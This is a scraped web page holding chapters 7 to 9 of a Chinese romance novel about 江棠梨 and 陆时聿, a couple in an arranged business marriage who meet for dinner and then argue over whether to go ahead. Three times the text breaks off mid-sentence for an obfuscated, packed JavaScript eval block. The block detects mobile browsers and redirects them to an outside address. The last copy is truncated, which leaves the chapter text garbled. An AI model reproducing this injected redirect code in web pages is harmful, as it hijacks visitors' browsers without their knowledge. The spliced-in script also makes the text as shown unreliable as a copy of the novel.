没一会儿的功夫,餐厅玻璃门再次打开,一个女人先行走了出来。 江棠梨认得,是这家餐厅的老板,一个地道的法国女人。 视线追到女人身后,江棠梨看见陆时聿胳膊上搭了一条边缘垂着短穗的驼色毯子。 该说他体贴吗? 可如果换了别人,应该也能做到吧。 车门打开,陆时聿把毯子递了进去:“给。” 江棠梨瞥了眼他劲瘦的手指一眼,接过毯子。 车门关上,挡板也升了上去。 江棠梨把腿上的西装掀到一边,抖开毯子,往腿上比了比。 什么呀,穿这个去西餐厅,还不被人笑死。 嘟囔归嘟囔,江棠梨还是抖掉肩膀上的大衣,把毯子往腰上裹,裹了两圈将边角往里一塞,结果刚一起腰,边角就从里面挣了出来。 江棠梨烦躁地吐出一口闷气,揪住毯角下了车。 冷风直直扑过来,冻得江棠梨两只膝盖直直往一块并,一步都迈不出去,偏偏那毯子也跟她作对,眼看就要从她腰上落下去,陆时聿忙伸手去接,可惜,毯子没接住,手却扶在了她腰上。 裙上的亮片压在他指掌之下,不知是沾了她的体温,还是沾了车内的暖气,竟还有几分温热。 不过这想法只在陆时聿大脑里闪过一刹的时间,取而代之的就是他为自己的冒犯而道歉。 “抱歉。” 他迅速收回手,弯腰从地上捡起毯子。 捡起的那一瞬,他还觉得像是捡了个烫手的山芋,不知是要还给她还是给她披上,结果瞥到她发抖的膝盖,大脑莫名其妙空白了一下,像是来不及思考其他...... 本来江棠梨还冷得牙齿咯咯作响,结果腰被他‘摸’了一下,注意力就这么被分了几分出去,还没完全回过神,就见他展开双臂的胸怀突然压了过来。 7. 第 7 章 不等江棠梨反应过来,陆时聿连人带着她身上的大衣,一起裹在了毯子里。 裹的不算紧,但江棠梨还是被独属于他男人的力道带的往前趔趄了一步。 抖开的毯子很长,能从腰包裹到她脚腕,可离他胸口的距离却很近,近到需要仰起六十度的角度才能看见他的眉眼,以及看清他眼里的自己。 窘窘的、羞羞的,有几分茫然,还有几分不知所措。 江棠梨爱玩,尤其爱来夜店玩,但她却极度地洁身自好,从不会让任何一个男人占了便宜。 就好像今晚那个男人,就算没有他陆时聿在,也绝不会安然无恙地走出酒吧,哪怕没有碰到她,哪怕只是逞了口舌的便宜,也会为自己的无礼受到教训。 所以,刚刚被他手‘摸’到的腰,到现在还在大衣下隐隐发烫。 可却烫不过他的鼻息,更烫不过从他皮肤里沁出的热度,明明还隔着一件衬衫,一件西装马甲...... 但是她鼻心一酸,被裹在大衣和毯子里的手拿不出来,以至于来不及掩嘴。 “阿嚏——” 额头和鼻尖就这么磕在了他的心口。 他身上的西装马甲是冷黑色的布料,能清楚看见沾到因喷嚏声带出的一些细密的...... 总之不是鼻涕,绝不是鼻涕! 可即便如此的自我安慰,也止不住江棠梨脸上的羞窘。 她甚至能感觉到自己脸颊迅速发烫。 好在冷风扑在她脸上,很快就将她脸上的热度降了下去。 很轻地吸了下鼻子后,江棠梨才抬头。 就这么撞进了自上而下笼罩下来的目光里。 他瞳孔颜色很黑,黑过了这浓稠的夜,也衬得他虹视光圈尤其得亮,比盛夏夜的星子还要亮。 “不是说不冷的吗?” 江棠梨:“......” “不冷还不想下车,还冻得膝盖直抖,还打喷嚏。” 一连三个事实被他说了出来,恼得江棠梨眉心一卷。 “我冷不冷关你什么事?” 她负气地怼回去,人也往后挣,可裹在她腰上的毯子两边被陆时聿捏在手里,以至于往后退半步的脚被他纹丝不动的力道又往前带了一步。 这下好了,挨着他的距离更近了,如果不是他捏着毯子的手挡着,江棠梨都怀疑自己是不是会扑他怀里去。 再次抬头看他,江棠梨褪去了刚刚的羞窘,只剩恼意。 “你故意的是不是?” 她说的「故意」是指他手上的力道。 但陆时聿的理解却是故意把她晾在这冷风刺骨的夜。 对,他就是故意。 以此来惩戒她今天的衣着。 不是她说不冷的吗,那就多感受一下这「不冷」的夜。 多感受一下嘴硬带来的后果。 外人眼里的陆时聿翩翩风度,温润清隽,对待异性更是绅士礼貌。 这些都不假,可他温文尔雅的外表下,也有不容越拒的锋芒。 即便面前这个人是未来要和他共度一生的。 可这桩婚事从一开始就非他所意,非他所喜...... 但这些都不重要,因为婚姻从来都不是他人生中重要的一项。 说来也奇怪,但凡她是知书达理、循规蹈矩,陆时聿都会多思量一番,可她偏偏不是,一身的桀骜气,一身的难驯脾。 明明对他如此排斥,却还兴冲冲地答应了这桩婚事。 想来,应该是和他一样,对婚姻抱着无所谓的态度。 既然都无所谓,那这桩婚事就可以抛开他陆时聿和她江棠梨本人,只当陆盛集团和江腾实业的强强联合。 说白了,就是一场毫无感情的商业联姻。 陆时聿敛下眼底情绪,捏着毯子的手微微动了一下:“自己能拿着吗?” 江棠梨气呼呼地把嘴一噘:“你自己看,我拿得出来吗?” 陆时聿低头看一眼后才意识到,“抱歉。” 他松了几分力道:“可以了吗?” 如果不是谨记大哥对她的叮嘱要嘴下留情,江棠梨都想回他一句:可以个屁。 她深吸一口气,压下心头的火气,眉眼一弯,嘴角一提:“陆先生,您把大衣都裹在毯子里了,请问我要怎么把手拿出来呢?” 「您」这个字,除了长辈之外,江棠梨很少用。 只要用了,就足以说明她有脾气但忍着没有发作。 江棠梨以为他能听出来,就算听不明显,但她上一秒本着脸,下一秒笑,他也足以能感受得到。 可是她听到了什么? “哦。” 他说“哦”,他就只说了一个“哦”! 虽然感觉到自己的手臂有了些许的自由,可她的心却被他的不解风情牢牢禁锢住了。 江棠梨直接气笑了:“你说什么,你再说一遍?” 她生平最讨厌别人说“哦”,不管语言还是文字。 陆时聿这才感觉到她语气的不对劲,视线落到她眼睛里。 很漂亮的一双杏眼,却含着几分凶色。 准确来说,是奶凶奶凶的。 他是又哪一句说得不对她心思了? 「哦」吗? 很费解,陆时聿不想去细想。 他岔开话题:“还冷吗,刚刚去餐厅借毯子的时候,已经先给你点了热红酒。” 江棠梨:“......” 这人功课怎么做的这么足? 竟然连她在冷的时候喜欢喝热红酒都知道! 一定是爸爸出卖了情报。 肯定是。 视线停在她一不高兴就爱噘起的唇瓣上,陆时聿被她的小公主脾气弄得无奈。 他将手里的毯子拿了下来:“抬手。” 明明是命令的两个字,偏偏他生了一把温润的嗓音。 江棠梨不想照做,但她被伺候惯了,知道他是要帮她把毯子围进她大衣里。 两条被冻得起了一层鸡皮疙瘩的胳膊抬起来后,陆时聿把手里的毯子伸进了大衣里,双臂以环抱她的姿势,将毯子围在了她腰上。 不知是毯子太宽还是她的腰太细,捏着毯子的右手足足环了她的腰三次。 把边角给她掖好的时候,食指感受到的柔弱无骨传进了他的大脑皮层。 让他心跳有一些加速。 这种感觉来得莫名其妙,但又随着收回手的动作,很快被他摒到了一边。 他后退一步:“好了。” 江棠梨低头看了眼。 竟出乎意料的好看,配着他的黑色大衣,显得她里面像是穿了一条驼色的长裙。 就是走起路来不太方便,一步一挪的。 倒是旁边的人,没有走快,像是有意在迁就他。 江棠梨的小脾气来得快,去得也快。 余光瞥一眼旁边的人,刚想说一声谢,又突然想起另一茬。 “我东西忘车里了。” 陆时聿随着她站定而停住脚:“现在就要?” 当然,那可是要给他的东西。 选了好几个小时呢! “你等我一下,我回去——” “不用,”陆时聿打断她的同时掏出手机:“我让陈敬带过来。” 很简短的一个电话。 绕过门前的跌水池到了台阶前,陆时聿把胳膊伸近她:“慢点。” 很绅士的一个动作,但江棠梨受之惯了,被冻得冰凉的手扶在他胳膊上:“你们男的是不是都很抗冻?” 不然他说话怎么都听不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123922|164292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丁点的颤音呢? 陆时聿无声失笑:“没有你抗冻。” 看着挺温和一人,怼起人来真要命。 江棠梨剜他一眼:“谁让你找这么一家不能把车停在门口的餐厅?” 又成他的错了。 陆时聿也不辩,毕竟今天这顿晚餐是因一场意外而来,不然有些话,他就在酒吧里说了。 进了餐厅,暖意扑面而来。 江棠梨解了毯子,理所应当似的往他身前一递。 陆时聿也顺手借下,抖开折叠成四方形后,带她去往临窗的位置。 “等一下,”江棠梨轻声叫住他后,手往最里面指:“坐那吧。” 落座后没一会儿,陈敬走过来:“江小姐,您的东西。” “谢谢。” 陈敬取走陆时聿叠好放置一边的毯子,无声离开。 江棠梨不经意地一瞥,见老板娘拿着两份菜单走过来。 这是要亲自服务她对面这位? 两年前,江棠梨第一次来这里吃饭的时候就听二哥说过,这个女人很不简单,无论是家境还是她老公的背景。 可是细问,二哥却只说她一个小姑娘别打听这么细。 后来还是从方以柠口中打听了点皮毛,说她老公有□□背景。 不过江棠梨不会法语,除了几道菜名外,两人说了什么,她完全听不懂。 直到接到陆时聿的眼神,女人也看过来。 “热红酒是现在上,还是甜品后?” 目光在两人脸上穿梭两个来回后,江棠梨说:“现在上吧。” 见女人拿着菜单离开,江棠梨视线追过去。 身材纤瘦高挑,姿态也是大方端庄。 刚刚两人说话的时候,陆时聿嘴角一直挂着笑,不像对她,笑意都不达眼底。 “你喜欢她这种?” 陆时聿微微一怔,“你说Gia?” Gia,原来她叫Gia。 江棠梨在心里撇嘴:“不然呢?” 陆时聿轻笑一声:“不知江小姐说的喜欢是指哪种喜欢。” 装什么呀,喜欢就喜欢呗,她又没说不准他喜欢。 哪怕他喜欢全天下的女人都不喜欢她也无所谓,她又不想嫁给他,也不打算嫁给他。 热红酒突然都没了兴致。 江棠梨将那只黑色的手袋往他面前推近:“送你的。” “送我?”陆时聿很诧异,看向那包装盒。 被她两度忘记又突然想起的东西,竟然是送他的? 那她这份礼物又代表着什么,该不会是收到他礼物的回礼? 可依她的性子,似乎不会拘泥于这种小节。 不过陆时聿还是笑着说了声“谢谢。” 毕竟以她的性子,不接受怕是会惹她多想。 见他将纸袋放到一边,江棠梨下巴抬了下:“你不打开看看吗?” 她都这么说了,不顺她意怕是又要惹出她的小脾气来。 陆时聿从纸袋里取出两个礼盒。 方形礼盒里是一对袖扣,长形礼盒里是一副领带。 “你昨天送的礼物我很喜欢,这个,是我的回礼。” 虽然陆时聿在电话里知道她对这桩婚事的心意,不过到底没有当面听到她说,如今回送他礼物,想必是另一种方式的默认。 陆时聿将礼物放进纸袋内:“江小姐有心了。” 既然收下了她的礼物,那这件事就等于扯平了。 不用破财,江棠梨彻底没了后顾之忧。 “陆总应该是一个很受女人青睐的男人。” 她突如其来的夸赞,让陆时聿很意外。 只是还不等他回赞回去,又听她说—— “不过我不在那些女人当中。” 8. 第 8 章 陆时聿眉心微蹙。 一时之间,突然不知该怎么理解她这句话。 “我是一个很向往自由的人,想必陆总也不想被婚姻束缚。” 陆时聿听出来了,她这是要拒绝这桩婚事。 以‘向往自由’来拒绝。 不过他没有出声,静静听着。 “虽然我对爱情没有过多的幻想,但也知道,没有爱情的婚姻持续不了多久。” 这话,从她一个二十多岁的女孩子嘴里说出来,无可厚非。 但是再过十年,她的想法还能像现在一样吗? 陆时聿不想打破她这个年纪对婚姻的理解与认知,但还是说:“那江小姐知不知道,利益共同体也是婚姻能持久的重要因素之一。” 真是商业联姻。 尽管之前对这桩婚事已经有了定论,可是被他这么直白地说出来,还是让江棠梨心腔震了一下。 所以爸爸昨晚看似站在她这边,看似给她以底气,可还是把她当做棋子,只为了能和他们陆家强强联合,好让江腾实业更大更强。 生意人,总是最会算计,最会将利益最大化。 哪怕是自己的亲生女儿。 可是放眼这个圈子,又有几个做女儿的能摆脱得了这个结局。 可凭什么她也要成为其中之一。 她偏不。 “都说陆盛集团在陆总的带领下日益强劲,”江棠梨偏开脸笑了笑,“没想到也需要一个女人来成全。” 她话里的嘲讽呼之欲出。 陆时聿没有辩解,也没有什么可辩解的。 总不能说:你们江家对陆氏来说其实不算什么。 更不能说:是我爷爷很喜欢你。 一桩婚事,与其拿老人的喜好做解释,倒不如拿利益做理由。 「逐利」,在这个圈子里,是比「爱」和「喜欢」更为高尚的存在。 但是她年纪尚轻,从她的性情能看出她对爱情其实是抱有幻想的。 很宝贵,是她这个年纪最为宝贵的东西。 “江小姐有喜欢的人吗?”陆时聿话锋一转。 江棠梨一时没懂他的意思:“没有,怎么了?” “既然没有,那你对这桩婚事不满意的地方在哪里?” 江棠梨皱了下眉,“我刚刚不是说了吗,我喜欢自由,不想结婚。” 可昨天他在电话里听到她说要嫁给他的语气却很迫切。 不过一天之隔。 还是说,这个理由是她在这一天里突然意识到的? “如果是这样,那江小姐大可放心,婚后,你的生活节奏不会变,你想要的自由,又或者随心所欲,都会一如既往。” 鬼信! 不过短短两个小时不到,又是管她穿衣又是管她吃饭的。 婚后还不知道要管她管到什么地步。 不过他既然这么说了...... “所以婚后,我还可以继续开我的酒吧?” “当然。” 答应的这么干脆。 江棠梨又问:“晚上有门禁吗?” 陆时聿失笑:“江小姐又不是小孩子,何来门禁一说。” 江棠梨看不透他那看似温和却又深邃的眉眼:“陆总该不会当面一套背地里又是一套吧?” 的确,让她相信他这个认识不过两天的陌生人,的确是有些强人所难。 陆时聿说:“江小姐若是不信,可以将你的要求都写进婚前协议里。” “婚前协议?”江棠梨表情微怔:“你要和我签婚前协议?” 看她表情,陆时聿就知道她误会了。 “我说的婚前协议不涉及资产,只是你刚刚的不信任,给你一个建议而已。” 江棠梨对他的信任的确有所保留,可是被他这么直白地说出来,还是难掩窘意。 她眸光微转,看手边的红酒杯:“我又没答应这桩婚事,怎么还说到婚前协议上去了。” 热红酒上了桌,还未入口就漫出了肉桂和橙香。 陆时聿用法语说了一声谢谢。 江棠梨瞥一眼亲自服务的这位叫Gia的女人,好像每次过来,她都会先朝陆时聿笑一下,然后才看一眼她。 待人走,江棠梨端起热红酒喝了一口。 “味道怎么样?” 说的好像她没来过这里似的。 江棠梨裹了裹舌尖的余香:“还行。” “不知道你爱吃什么甜品,就给你点了她们这里的招牌,烤布蕾和黑森林。” 都把她的喜好打听得一清二楚了,还故意说不知道。 江棠梨也不拆穿他:“那除了甜品呢,你还点了什么?” “一会儿你就知道了。” 他嘴角挂着一贯的笑,很温和,也带着些许的距离感。 之后每上一道菜,江棠梨总是先一眼菜色,后一眼他。 这人是没有全部记住她的喜好,还是说爸爸没有将她的喜好全部说给他听。 见她手里的刀叉一直没有去碰那份牛肉黄油芹菜塔,陆时聿问:“不喜欢芹菜?” 江棠梨点头。 “那沙拉呢?”她也没吃。 江棠梨抿了口热红酒:“她们家的沙拉酱里有花生,我吃花生过敏。” 无意点到了她的忌口,陆时聿说了声抱歉。 但是他也听出了另一个信息:“之前来过?” 江棠梨眉梢一挑:“当然了。” 见他表情认真不像明知故问,江棠梨眉心微卷:“我爸爸没跟你说过?” 陆时聿摇头:“没有,我和江总目前还没有聊到你的喜好和忌口上面。” 那这热红酒,还有烤布蕾和黑森林...... 是她想多了? 那他和爸爸见面都聊什么了? 聊两家联姻后的生意合作? 想到这,口中残留的热红酒的余香顿时苦出了难言的味道。 “你吃好了吗?” 她音色很明显地冷了下来,陆时聿抬眼看她。 江棠梨是个把所有心事都写在脸上的人,开心就笑,难过就哭,不爽就发脾气。 其实她也会藏着情绪,但是她不喜欢藏。 当然,这些很表面的东西,陆时聿已经在今晚深深感受到了。 也理解了爷爷的那句:很是天真可爱。 可是这么天真可爱的女孩子,需要人捧着、宠着。 而这些恰恰是他最陌生且不擅长的领域。 这一刻,陆时聿突然觉得有些委屈她了。 如果她真的不想结这个婚,那就算了吧。 她才二十四岁,还很年轻,现在没有喜欢的人,以后大概率会有。 至于爷爷那边,他想办法就好。 随她身后走了几步远,Gia走了过来。 不过两句礼貌回应,再看过去,江棠梨已经走到了门口。 陈敬见状,立马迎了过去:“江小姐,毯子——” “不用。” 玻璃门推开的那一瞬,陆时聿朝Gia颔首说了声抱歉,继而快步走向门口。 夜越深,风越凉。 陈敬追出来:“江小姐,您先回去等一下,我去把车开过来。” 江棠梨被冻得咬紧了腮帮:“我跟你一起。” “江小姐——” 不等陈敬把话说完,搭在他胳膊上的毯子就被陆时聿抽走了。 “赶紧把车开过来。” 话落,被陆时聿拿在手里的毯子裹在了江棠梨的腰上,连带着大衣,以及在大衣里瑟瑟发抖的双臂。 “不用,我不冷。” “知道这时候嘴硬会给你带来什么后果吗?” 江棠梨没有像之前那样仰脸看他,而是掀着眼皮。 从陆时聿的角度落下去,那眼神似乎是要将他吃下去似的。 但他没有作罢,沉声继续:“感冒、或者发烧,这些都是要你自己承受,别人代替不了一点。” 尽管他不知道自己到底那句话惹她不开心,但究根结底与他有关。 “所以别拿自己的身体赌气,这种自损一千伤敌为零的买卖,非常不划算。” 江棠梨是彻底听服气了。 他都知道她生气了,还在这种情况下啰里八嗦,不知道这会更让人恼火? 可实在是太冷了,这个时候开口,咯咯作响的牙齿简直就是打自己耳光。 车很快开了过来。 车厢里的气温还没有迅速上升到让人舒适的温暖,江棠梨忍了好一会儿才把毯子抽掉。 “这桩婚事我不同意。” 陆时聿短暂沉默后点头说了声好。 江棠梨意外到停了几秒,“......理由你自己编一个跟我爸爸说。” 陆时聿再次点头:“好。” 江棠梨被他的爽快弄懵了:“我没开玩笑,我很认真。” “我知道。”陆时聿侧头,深邃的一双眼看向她:“这桩婚事从始至终都基于你情我愿的前提下,你不愿意,没有人会逼你。” 江棠梨茫然地眨了眨眼:“会影响我们家和你们陆氏的生意往来吗?” “不会。” 他眼里有让人不得不信服的认真与笃定。 江棠梨不知自己怎么就这么轻信于他了,“君子一言驷马难,你可别说话不算数。” 在陆时聿的但笑不语里,车子一路朝欧菲庄园开去。 驶入大门时,江棠梨发现一件事:“物业怎么就这么放你的车进来了?” 陆时聿说:“这里是陆盛集团旗下开发的楼盘。” 江棠梨:“......” 莫名其妙的,突然就觉得矮他一截。 车在别墅门口停下,见她就要取下肩上的大衣。 “穿着吧,别真的感冒了。” “那我怎么还你?” 陆时聿安静地望了她几秒:“以后如果还有见面的可能,再还也不迟。” 还有见面的可能吗? 如果不是因为这桩婚事,江棠梨觉得自己未来几十年可能都难得见到他一面。 当然,不见最好了。 “明天我让人把衣服还有毯子送到你公司吧。” 感觉到她的坚持,陆时聿顺着她意点了点头。 没有说今晚他就要赶回海市,近期都不会再回来。 下了车,陆时聿把她送到门口:“代我向你父亲问好,我就不进去了。” “那婚事......”江棠梨一点都不敢掉以轻心。 “我会处理好,江小姐放心。” 披着他的大衣,裹着借来的毯子,大门一关,江棠梨踩着小碎步,风一般地穿过院子。 只是没想到,一家人都齐整地坐在客厅的沙发里。 像是在等她。 江棠梨被眼前的阵仗震慑在原地。 「心虚」在此时此刻瞬间达到了峰值。 可转念一想,她有什么好心虚的。 为了扩大商业版图,不惜牺牲掉她的自由和爱情,让她成为这一场商业合作中的牺牲品。 该心虚的是他们。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123923|164292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >有了这一番的心理建设,江棠梨下巴一抬,镇定自若地走过去:“开会呢?” 看着她那一身不伦不类的搭配,江祈年皱眉:“怎么穿成这样?” 江璟沐的注意力却全都在她肩膀上那件男人的大衣:“陆时聿的?” 江棠梨现在也把这个平日里最疼她宠她的二哥罗列到了敌营里。 视线瞥过去一眼,没理他。 室内室外的温度犹如寒冬和酷暑,一冷一热,直接让江棠梨打出一个直震天花板的喷嚏。 周温乔忙起身倒了一杯热红茶端过去:“上次穿裙子就冻感冒了,这才几天,又忘了?” 不知从小到大把她捧在手心里疼的妈妈 ,在这盘棋中扮演的是什么角色。 江棠梨眼里含着探究,接过她手里的红茶。 “听你二哥说,晚上陆时聿去酒吧找你了?” 一向替她打掩护的二哥竟然也打起了小报告。 江棠梨又朝江璟沐剜去一眼。 “对,找我了。” 毯子未摘,大衣未脱,江棠梨走到沙发前坐下。 “去酒吧找你?”江祈年视线定在她脸上:“是你约的他还是他约的你?” “当然是他约的我。” 江棠梨翘起已经逐渐回温的右腿,“至于为什么约我在酒吧......” 她停顿几秒,决定助陆时聿一臂之力。 “可能是想看看私下里的我最真实的一面?” 江祈年眉心倏地一拢。 落在江棠梨眼里,自然就成了担心这桩婚事会不会泡汤的担忧。 “然后呢?”周温乔问。 问的这么细,难道二哥没把酒吧里发生的事告诉他们,还是说,都说了,却在等她自我反省? 江棠梨视线斜到二哥脸上。 江璟沐眼中噙着悠哉的笑意,接到她眼神后,肩膀一耸,好似无辜。 江棠梨慢慢悠悠收回眼神,“然后就出去吃了个饭。” “你没说什么不得体的话吧?” 江棠梨看向坐在沙发另一侧的大哥。 得体。 什么叫得体,什么叫不得体? 但是江棠梨猜,爸爸肯定在促成这桩婚事的过程中,说了她不少好话,不然陆时聿那样一个行事沉稳的人,怎么可能会看上她。 当然,她不是自贬。 完全是从双方的行事作风到脾气到性格得出的结论。 准确来说,他和她就是水火,这辈子都不会相融的两个极端。 想到下车时陆时聿说的那句:我会处理好。 江棠梨觉得自己应该提前给爸爸打一针强心剂,免得到时候他接到陆时聿的‘退婚’电话,会手足无措。 江棠梨看向大哥:“我今晚可是规矩守礼得很,不过......” 她把视线落到爸爸脸上:“他好像对我不太满意。” 以为爸爸会立即刨根究底问其原因,又或者露出慌乱之类,谁知却听他轻叹一口气。 “罢了,这桩婚事我也欠考虑。”江祈年看向周温乔:“这两天你准备一点礼物,我得亲自上门跟陆老道个歉。” 陆老? 陆时聿的爷爷? 江棠梨顿时想到那个一脸慈祥,拍过她手背,夸过她漂亮可爱的老人。 哦,差点忘了,昨晚她追去酒店的时候,他老人家也是在的。 所以这桩婚事已经到了双方长辈都知晓并点头的地步。 而她竟然后知后觉到这个信息。 但是江棠梨想不通的是:“是他不满意我,凭什么我们家上门道歉?” “因为这桩婚事是陆老提出来的。” 说话的是大哥,江棠梨视线落到他脸上:“不是我们家先提出来的?” “想什么呢,我们家能和陆家比?” 江璟烨无奈她的浅薄心思:“若不是陆老开口,谁敢贸贸然去陆家提婚事?” 江棠梨:“......” 那陆家又是看上她们江家什么了? 不等江棠梨问出心中疑惑,就听爸爸说—— “也怪我之前没有问清楚,以为陆时聿还和以前一样住在京市。” “他不住京市?”江棠梨眉心卷着:“他不是京市人吗?” “是京市人,”江祈年说:“不过这两年他长居海市,听陆老说,一个月也就只能回来一两趟。” 江棠梨:“......” 那她如果嫁过去,岂不是就要住到海市了? 那她大学时玩的好的那些朋友,廖廖、郑好、承允、小烨、佑佑...... 江棠梨在心里掰着手指头。 天呐,这要是嫁过去,日子不要太逍遥快活。 江棠梨心里窃喜,刚要激动开口—— “你从小在我们身边长大,虽说海市不算远,可真让你嫁过去,我和你妈妈可就不能像现在这样,说见你就能立马见到了。” 说着,江祈年眼泛泪光。 周温乔轻声安抚着:“好啦,现在不是没有这一重顾虑了吗?” “对,”江祈年深吸一口气:“不想了,回头我再重新物色,说什么也不能把女儿嫁出我们眼皮子底下。” 江棠梨:“......” 也就是说,她就算嫁人,只要人在京市,也逃不出父亲的五指山? 这对一心想飞出‘牢笼’的江棠梨来说,犹如当头棒喝。 哪还有时间在心里找一个妥帖的理由,江棠梨脱口道:“其实他哪里是对我不满意,他就是吃醋了!” 9. 第 9 章 安静的客厅,四双眼睛齐齐看向她。 江棠梨狠狠咽了咽口水:“我、我今晚在酒吧,遇到一个酒鬼,是陆时聿帮我解了围。”她手一指,“二哥当时也在,他看见了。” 加上江棠梨,四双眼睛又齐齐看向江璟沐。 和妹妹那双求救的眼神对视两秒后,江璟沐突然就懂了她的心思。 臭丫头,这是想飞到天高皇帝远的海市,好彻底做个自由人? 江璟沐气笑一声:“对,看见了,就在我眼皮子底下,把人打得躺地上爬不起来。” 此话一出,人人都惊得好似掉了下巴。 江棠梨趁势道:“之后他跟我说话就开始酸溜溜的了,这不是吃醋是什么?” 江祈年眉心不展:“那你呢,对人家是什么想法?” 这就说到点子上了。 江棠梨手指卷着身前的两缕头发,一副垂眸害羞样:“就、就还挺喜欢的呀~” 难得见她说到一个男人,露出这样的娇羞模样,江祈年夫妇俩面面相觑。 唯恐再被一家人盘问出什么来,江棠梨拢着身上的大衣起身,走前,还不忘“哼”出一声小脾气:“不跟你们说了。” 走了两步,她又突然想起来:“爸爸,你别去陆家哦,刚刚我说他对我不满意是我乱说的。” 江祈年眉心皱得紧:“乱说?” “对呀,他如果真对我不满意,干嘛还约我下次见面。” 一家人都被她前后矛盾的话绕得云里雾里。 不过江棠梨现在没有时间去想这些,她得抓紧时间回楼上找那姓陆的反悔去。 接到江棠梨的电话,陆时聿正在回去的路上。 晚上一下飞机就去了酒吧,他要在回海市前看看爷爷,顺便再说一说这桩婚事。 只是没想到,已经做好准备再也不会再见的女孩子会再次打电话给他,甚至连一声“喂”和“你好”都没说的情况下,开口就问—— “在餐厅里,你说的那些话还算不算数?” 陆时聿微微一怔,“江小姐指的是哪些?” 原话,江棠梨已经记不清了,“就是、就是我说想要自由,你说婚后不会管我的那些。” 他说过不会管她? 好像只说她会和婚前一样自由和随心所欲吧。 可能对她来说,意思都差不多。 隔着手机,陆时聿点头:“当然。” 说完这两个字,陆时聿才反应过来,她这是又要反悔的意思? 心里的猜测在下一秒得到了验证。 “好,那这门婚事,我答应了。” 陆时聿看了眼时间,才过去二十分钟。 所以这二十分钟里到底发生了什么,怎么就让她如此坚定地改变了主意。 可若说坚定,她拒绝的时候又何尝不坚定? 还是说,她是一个随着心情随意改变心意的性子? 婚姻可不是过家家,一切还没有着手准备前,尚有后悔反悔的机会,婚后呢,她又会不会一个不高兴,就拿出一纸离婚协议? 电话那头,江棠梨见他久久不出声,心里突然紧张起来。 这人该不会又临时变卦,不想和她结婚了吧? “陆时聿——” “江小姐,”陆时聿出声打断她:“对我来说,婚姻不是儿戏,哪怕我们之间毫无感情,这门婚事,一旦开始,就没有结束的可能,所以还请你想清楚。” 没有结束的可能? 是只可以结婚,不可以离婚的意思吗? 不等江棠梨开口,耳边又传来声音。 “江小姐不妨再好好想想,下周六,如果江小姐在深思熟虑后依然不改变心意,我就回来。” 这人是在拿乔吗? 她不愿意的时候,他还劝她。 她现在愿意了,他又让她考虑。 “给他三分颜色,他还想开染坊了。” 江棠梨一个电话打给了方以柠,看似诉苦,其实是控诉。 方以柠听得咯咯直笑:“可是在我看来,他是把主导权都给你了呀。” “主导权给我?” “不然呢?他话里的意思不就是你想好了,这个婚就结,你反悔那就不结,你那个小脑瓜子平时不是挺聪明的吗?” 江棠梨在心里品了又品。 好像是有那么点意思。 “所以呢,接下来我是不是就等下周六给他打电话了?” “你也别干等着呀,他不是让你好好想想的吗,那你就好好想想。” 可是江棠梨一点都不想多想。 她怕自己想多了就后悔了。 这个婚,早结晚结都要结。 不和他结,也要和别人结。 如果说她有喜欢的人也就算了,偏偏周围那些人都是些不靠谱的。 不是家庭关系复杂就是拈花惹草,重点是,没有一个比他高,比他好看...... 这个想法,在经过三天的深思熟虑后被江棠梨再一次下了决心。 可是她不想露出自己的迫切,于是剩下的几天,她白天补觉,晚上在二哥的各种掩护下溜去酒吧。 和以前一样,被江祈年逮到后少不了一顿数落,只不过训她的话从以前的「女孩子家,一天到晚往酒吧那种地方跑,像什么样子」,变成现在的「女孩子家,一天到晚泡在酒吧里,这要是被陆家人看见,要怎么看你?」 周五晚上九点,在接到二哥打来的电话,说爸爸今晚和老朋友吃饭会迟些回去后,早就化好妆换好衣服的江棠梨忙从楼上溜了出来,猫着腰刚一出门—— “去哪?” 吓得江棠梨双腿一软,回头,见爸爸从台阶下的一株桂花前走了出来。 天呐,这是藏着就等着逮她一个正着吗? “爸、爸爸——” 江祈年上上下下打量着她。 “穿成这样,不冷?” 江棠梨低头看向身上的这件过膝的冰岛卷毛皮草大衣,“我这个很厚的。” 江祈年声音一抬:“腿呢?” 江棠梨:“......” 她下身穿的是一条毛绒拼接皮短裙,又配了一双波点丝袜。 三十岁的年龄差所带来的是不可跨越的品位鸿沟。 这一点,江棠梨从不试图让父亲接受,因为他这辈子都接受不了,就好像江棠梨也无法接受他衣柜里永远的黑白灰一样。 刚刚的惊吓已经翻了篇,江棠梨无辜眨眼:“不好看吗?” 好不好看是一说,重点是天这么冷,而且她这个点出去肯定是去酒吧,到了那儿,她肯定会脱外套。 江祈年深吸一口气:“鱼龙混杂的地方,你就不能多穿一点?” 同样一句话,江棠梨早就听得耳朵磨出了茧。 “爸爸,我开的是正规的酒吧,头顶全是摄像头,而且还有小飞兄弟俩在——” “你上次不是说喜欢陆时聿?”江祈年打断她话。 江棠梨这次是真无辜了:“什、什么意思?” “你觉得你穿成这样,他又会喜欢你几分?” 江棠梨:“......” 她管他喜不喜欢呢,再说了,她穿成这样又不是给他看的,她为悦己者容,而这个「己」就是她自己。 不过话说回来,她和那个姓陆的还没结婚呢,那人就成爸爸手里的尚方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 